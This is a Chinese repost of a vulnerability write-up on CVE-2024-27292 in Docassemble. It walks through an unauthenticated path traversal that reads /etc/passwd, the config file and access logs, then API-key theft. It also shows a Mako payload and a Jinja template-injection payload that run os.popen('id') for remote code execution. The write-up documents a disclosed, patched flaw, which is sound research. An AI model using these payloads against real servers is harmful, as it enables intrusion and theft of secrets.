这篇文章探讨了 Docassemble 中的 CVE-2024-27292,揭示了一个未经身份验证的路径遍历漏洞,该漏洞会暴露敏感文件和机密,导致权限提升和模板注入,从而实现远程代码执行。它详细介绍了该漏洞、其影响以及利用步骤。
背景
“ Docassemble 是一个免费的开源专家系统,用于引导式访谈和文档汇编。它提供了一个对用户进行访谈的网站。根据收集到的信息,访谈可以向用户提供 PDF、 RTF或 DOCX 格式的文档,用户可以下载或通过电子邮件发送这些文档。” - https://docassemble.org/
大约一年前,我在从事一个自动化业务开发流程的项目时接触到了 Docassemble。虽然我专攻黑客,但我也喜欢时不时地构建一些东西。在构建这个自动化流程时,我学到了很多关于 Docassemble 的知识,其中许多功能让我的黑客意识敏锐。2024 年 3 月,我决定利用我在 TantoSec 的研究时间,从黑客的角度仔细研究 Docassemble。
如果您希望关注博客或在自己的时间查看应用程序,则使用Docker非常容易。我已将 Docassemble docker 镜像版本 1.4.96 用于此研究项目,我在本地部署了该应用程序。由于 Docassemble 开发人员仅在 DockerHub 上提供带有“最新”标签的镜像,因此您需要使用 git 下载版本 1.4.96 并在本地构建旧版本的镜像:
git clone https://github.com/jhpyle/docassemble
cd docassemble
git checkout v1.4.96
docker build -t yourname/mydocassemble .
cd ..
docker run -d -p 80:80 -p 443:443 --restart always --stop-timeout 600 yourname/mydocassemble
初始代码审查
Docassemble 用 Python 编写,使用三个主要包构建:
docassemble_base
docassemble_demo
docassemble_webapp
由于代码库非常庞大,我决定查看应用程序实现的未经身份验证的路由。这让我发现了/interview
应用程序在部署时用于显示默认主页的路由:
这立即引起了我的注意,因为URL 参数data/questions/default-interview...
中/?i=
的值看起来像是一个文件路径。如果它实际上是一个文件路径,那么这可能是文件路径遍历漏洞的载体!所以我开始深入研究,试图了解应用程序如何处理提供给此 URL 参数的值。
该路径的实现可以在 6666 行的 docassemble/webapp/server.py 处找到:
@app.route(index_path, methods=['POST', 'GET'])
def index(action_argument=None, refer=None):
# if refer is None and request.method == 'GET':
# setup_translation()
is_ajax = bool(request.method == 'POST' and 'ajax' in request.form and int(request.form['ajax']))
docassemble.base.functions.this_thread.misc['call'] = refer
return_fake_html = False
应用程序路由适用于 index_path
变量,在 Docassemble 的默认安装中为 /interview
。这是由6638
行 docassemble/webapp/server.py
中的代码块决定的:
if COOKIELESS_SESSIONS:
index_path = '/i'
html_index_path = '/interview'
else:
index_path = '/interview'
html_index_path = '/i'
这里, 的值index_path
取决于COOKIELESS_SESSIONS
。变量COOKIELESS_SESSIONS
可以是True或False,具体取决于它在 Docassemble 配置文件中的存在情况,docassemble/config/config.yml
如docassemble/webapp/server.py
行中的代码块所示175
:
COOKIELESS_SESSIONS = daconfig.get('cookieless sessions', False)
该值在 Docassemble 的默认安装中不存在,因此显然我们感兴趣的index_path
是路由实现。/interview
现在,我们的下一步是查看传递给路径i
中的 URL 参数的值在哪里/interview
被处理。这将我们带到了6733
以下行docassemble/webapp/server.py
:
@app.route(index_path, methods=['POST', 'GET'])
def index(action_argument=None, refer=None):
<-- Snipped -->
if 'i' not in request.args and 'state' in request.args:
try:
yaml_filename = re.sub(r'^.*', '', from_safeid(request.args['state']))
except:
yaml_filename = guess_yaml_filename()
else:
yaml_filename = request.args.get('i', guess_yaml_filename())
<-- Snipped -->
我们可以在上面的代码中看到,路由不仅/interview
接受和作为 URL 参数。那么这里发生了什么?我们可以用这两个参数做什么?似乎无论使用哪个参数,它都用于决定 的值。state
i
yaml_filename
如果state
使用,代码将进入if
块并将其值传递给from_safeid
函数:
def safeid(text):
return re.sub(r'[n=]', '', codecs.encode(text.encode('utf-8'), 'base64').decode())
此函数仅接受 base64 编码的字符串并返回原始 UTF-8 字符串。我们可以得出结论,该state
参数接受 base64 编码的字符串并将其设置yaml_filename
为 base64 解码的 UTF-8 值。
另一方面,如果i
使用,代码将进入else
块,并简单地将其值分配给yaml_filename
。
现在我们已经确定可以将 base64 编码的值传递给控制state
,也可以将 UTF-8 值传递给i
控制yaml_filename
。但是应用程序要用 做什么呢yaml_filename
?
在 行中6794
,docassemble/webapp/server.py
应用程序传递yaml_filename
给get_interview()
函数:
interview = docassemble.base.interview_cache.get_interview(yaml_filename)
get_interview()
可以在第 7 行找到docassemble/base/interview_cache.py
:
def get_interview(path):
if path is None:
raise DAException("Tried to load interview source with no path")
if cache_valid(path):
the_interview = cache[path]['interview']
the_interview.from_cache = True
else:
interview_source = docassemble.base.parse.interview_source_from_string(path)
interview_source.update()
the_interview = interview_source.get_interview()
the_interview.from_cache = False
cache[interview_source.path] = {'index': interview_source.get_index(), 'interview': the_interview, 'source': interview_source}
return the_interview
此函数使用该函数检查文件路径的内容是否存储在其缓存中cache_valid
。如果是,则将其设置interview_source
为缓存的内容,否则将文件路径的值传递给以下interview_source_from_string()
函数docassemble/base/parse.py
:
def interview_source_from_string(path, **kwargs):
if path is None:
raise DAError("Passed None to interview_source_from_string")
# logmessage("Trying to find " + path)
path = re.sub(r'(docassemble.playground[0-9]+[^:]*:)data/questions/(.*)', r'12', path)
for the_filename in question_path_options(path):
if the_filename is not None:
new_source = InterviewSourceFile(filepath=the_filename, path=path)
if new_source.update(**kwargs):
return new_source
raise DANotFoundError("Interview " + str(path) + " not found")
上述函数删除了文件路径中多余的部分,确保仅保留绝对文件路径。例如,如果我们回想一下这篇文章的开头,在 Docassemble 的默认安装中,应用程序会在以下 URL 中显示默认采访:
-
http://localhost/interview?i=docassemble.base:data/questions/default-interview.yml#page1。
该函数会从 的值中interview_source_from_string
过滤掉 部分。然后它将绝对文件路径返回给函数,并在行中调用该函数:data/questions/default-interview.yml
i
get_interview
update()
/docassemble/base/parse.py
378
def update(self, **kwargs):
try:
with open(self.filepath, 'r', encoding='utf-8') as the_file:
orig_text = the_file.read()
except:
return False
if not orig_text.startswith('# use jinja'):
self.set_content(orig_text)
return True
env = Environment(
loader=DAFileSystemLoader(self.directory),
autoescape=select_autoescape()
)
template = env.get_template(os.path.basename(self.filepath))
data = copy.deepcopy(get_config('jinja data'))
data['__version__'] = da_version
data['__architecture__'] = da_arch
data['__filename__'] = self.path
data['__current_package__'] = self.package
data['__parent_filename__'] = kwargs.get('parent_source', self).path
data['__parent_package__'] = kwargs.get('parent_source', self).package
data['__interview_filename__'] = kwargs.get('interview_source', self).path
data['__interview_package__'] = kwargs.get('interview_source', self).package
data['__hostname__'] = get_config('external hostname', None) or 'localhost'
data['__debug__'] = bool(get_config('debug', True))
try:
self.set_content(template.render(data))
except Exception as err:
self.set_content("__error__: " + repr("Jinja2 rendering error: " + err.__class__.__name__ + ": " + str(err)))
return True
我们还可以使用state
参数利用相同的漏洞,其中传递给它的值是 base64 编码的“/etc/passwd”:
-
http://localhost/interview?state=L2V0Yy9wYXNzd2Q=
我向 Docassemble 报告了此漏洞,该漏洞被分配了CVE-2024-27292。
利用路径遍历漏洞,我们还可以从 Docassemble 服务器读取 Docassemble 配置文件。
-
http://localhost/interview?i=/usr/share/docassemble/config/config.yml
此文件包含敏感的硬编码密钥,可让攻击者访问受影响的 Docassemble 实例中可能配置的各种项目的密钥。最敏感的是以下密钥:
-
OAuth
-
Facebook
-
Github
-
Google
-
Twitter
-
AWS S3
-
Flask Secret Key
这可能会导致 Docassemble 实例完全被攻陷。但是,只有在这些服务配置为由 Docassemble 使用的情况下才能利用这一点。
升级路径遍历漏洞
路径遍历很好,但我想找到一种方法来升级它。这让我发现 Docassemble 有自己的应用程序编程接口 (API)。此 API 允许具有Administrator
或权限的用户Developer
与其交互。Docassemble 使用 API 密钥来验证用户,这些密钥可以作为 URL 参数传递,也可以通过使用各种标头(例如Authorization
或)X-API-KEY
传递。在以下在 URL 中使用 API 密钥的场景中,CVE-2024-27292 可用于从 Docassemble 日志文件中提取密钥:
curl http://localhost/api/list?key=H3PLMKJKIVATLDPWHJH3AGWEJPFU5GRT
如果 API 密钥没有任何限制(例如访问 IP 白名单),则可以使用它来获取提取的 API 密钥所属用户的有效会话。例如,可以从/usr/share/docassemble/log/access.log
以下 URL 的日志文件中提取 API 密钥:
-
http://localhost/interview?i=/usr/share/docassemble/log/access.log
然后,只需向任何有效的 API 端点(例如http://localhost/api/list?key=NQEp6xD54OdGNF8Sc3tKlPZmIPLzs7W2 )发送获取请求即可使用此 API 密钥获取会话 cookie 。
然后可以使用此会话 cookie 以提取的 API 密钥所属用户的权限访问应用程序。在此示例中,使用了管理员的 API 密钥。
太棒了!所以现在我们有一个方法,如果一切顺利,我们可以以更高权限的用户身份获得有效会话。与未经身份验证的用户相比,这使我们能够访问更广泛的功能,从而增加了应用程序的攻击面。
使用特权帐户执行代码
一旦攻击者入侵了特权帐户(例如管理员或开发人员帐户),就有多种方法可以在应用程序服务器上执行代码。这可以通过安装任意 Python 包、编写 Python 模块或在 Docassemble YAML 访谈文件中使用 Python 代码块来实现。另一个不安全的功能是使用 Mako 模板创建访谈。Hacktricks 有一个现成的payload用于 Mako 模板注入,以便在服务器上执行代码。我们可以在 Docassemble Playground 中的这个示例 YAML 访谈文件中使用相同的 payload,以使用开发人员或管理员帐户执行代码:
mandatory: True
question: |
RCE
subquestion: |
<%
import os
command = 'id'
x=os.popen(command).read()
%>
${x}
id在以下URL中,使用上面提到的payload,然后单击“保存并运行”在服务器上执行命令:
-
http://localhost/playground?project=default&file=test.yml
然后使用命令的输出加载以下页面:
此服务器端模板注入漏洞已报告给 Docassemble,但未被认定为有效漏洞。开发人员强调,Docassemble 的构建旨在让面试开发人员充分利用通用编程语言的功能,管理员不会将开发人员用户角色授予不受信任的用户。
通过串联不同的漏洞,我们成功地从未经身份验证的攻击者的角度获得了服务器上的代码执行权限。但是,此串联严重依赖于 API 密钥的泄露来获得有效的特权会话。因此,我想找到一条不同的路径,可以在不依赖 API 密钥的情况下获得相同的结果。
路径遍历到服务器端模板注入
回到我们查看update()
函数的路径遍历漏洞,我提到还有另一个漏洞。这是从提供给易受攻击的 URL 参数的文件路径读取文件的相同函数。让我们再次查看代码并看看它是什么:
def update(self, **kwargs):
try:
with open(self.filepath, 'r', encoding='utf-8') as the_file:
orig_text = the_file.read()
except:
return False
if not orig_text.startswith('# use jinja'):
self.set_content(orig_text)
return True
env = Environment(
loader=DAFileSystemLoader(self.directory),
autoescape=select_autoescape()
)
template = env.get_template(os.path.basename(self.filepath))
data = copy.deepcopy(get_config('jinja data'))
data['__version__'] = da_version
data['__architecture__'] = da_arch
data['__filename__'] = self.path
data['__current_package__'] = self.package
data['__parent_filename__'] = kwargs.get('parent_source', self).path
data['__parent_package__'] = kwargs.get('parent_source', self).package
data['__interview_filename__'] = kwargs.get('interview_source', self).path
data['__interview_package__'] = kwargs.get('interview_source', self).package
data['__hostname__'] = get_config('external hostname', None) or 'localhost'
data['__debug__'] = bool(get_config('debug', True))
try:
self.set_content(template.render(data))
except Exception as err:
self.set_content("__error__: " + repr("Jinja2 rendering error: " + err.__class__.__name__ + ": " + str(err)))
return True
我们可以在代码中看到,if not
代码块检查所提供文件路径中的文件内容是否以 开头# use jinja
。如果是,它会将其视为 Jinja 模板并简单地呈现文件!因此,如果我上传文件并控制内容,然后使用路径遍历漏洞访问该文件,我应该可以执行代码。这看起来很有希望,因为 Docassemble 面试中的一个常见主题是允许用户上传文件。
让我们通过在 Docassemble 游乐场中使用以下 YAML 文件使用开发人员用户帐户创建带有文件上传的 Docassemble 访谈来测试这一点:
---
question: |
Please upload a picture of yourself.
fields:
- Picture: user_picture
datatype: file
---
question: |
You're so adorable, François!
subquestion: |
${ user_picture }
mandatory: True
此 YAML 模板直接取自 Docassemble 的文件上传示例。这将导致以下文件上传:
使用这个文件上传功能,让我们上传一个RCE.payload包含以下内容的文件:
# use jinja
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
在这种情况下,可以使用以下 URL 访问已上传的文件:
-
http://localhost/uploadedfile/8/RCE.payload
在 Docassemble 的默认安装中,上传文件的 URL 中 /uploadfile/
后面的数字(本例中为 8
)指的是绝对文件路径 /usr/share/docassemble/files/000/000/000/008/file.payload
网络服务器。文件路径实际上是 8 的十六进制表示。按照这个逻辑,如果可以使用路径 /uploadedfile/11/file.payload
访问文件,则服务器中对应的绝对文件路径将为 /usr/share/docassemble/files/000/000/000/00b/file.png
。使用此逻辑,我们可以识别 Web 服务器中上传文件的确切路径,我们可以在路径遍历漏洞中使用该路径。
由于我们上传的RCE.payload
文件的#use jinja
第一行是 ,让我们看看是否可以通过导航到以下 URL 来使用 CVE-2024-27292 来呈现注入的 Jinja SSTI 有效负载:
-
http://localhost/interview?i=/usr/share/docassemble/files/000/000/000/008/file.payload
大获成功!非常好!
修补
CVE-2024-27292 已在 Docassemble 1.4.97 及以上版本中修补。
时间线
-
29/02/2024- 向 Docassemble 报告路径遍历
-
01/03/2024- CVE-2024-27292 由开发人员分配并修补
-
08/04/2024- 向 Docassemble 报告服务器端模板注入 (SSTI)
-
08/04/2024- 开发人员对 SSTI 的回应无效
结论
使用受感染特权帐户的 Mako 服务器端模板注入已报告给 Docassemble,但未被接受为有效漏洞。开发人员强调,Docassemble 的构建是为了让面试开发人员能够充分利用通用编程语言的功能,并且管理员不会将开发人员用户角色授予不受信任的用户。
Docassemble 最初是为了自动化法律实践中的不同流程而创建的。然而,不同的组织将其用于自动化、存储用户输入和提交申请等目的。通过Zoomeye.com识别出 570 多个 Docassemble 实例,其中许多实例仍在使用易受 CVE-2024-27292 攻击的 Docassemble 版本。强烈建议将 Docassemble 更新到最新版本,以防止任何未经授权访问敏感信息。
还要注意的是,部署 Docassemble 时应全面考虑安全最佳实践。请参阅Docassemble 安全最佳实践提供的文档。这些指南有助于确保更安全的部署环境并有助于防范潜在的漏洞。
https://tantosec.com/blog/docassemble/
原文始发于微信公众号(Ots安全):漏洞分析 - CVE-2024-27292:docAssembling RCE 漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论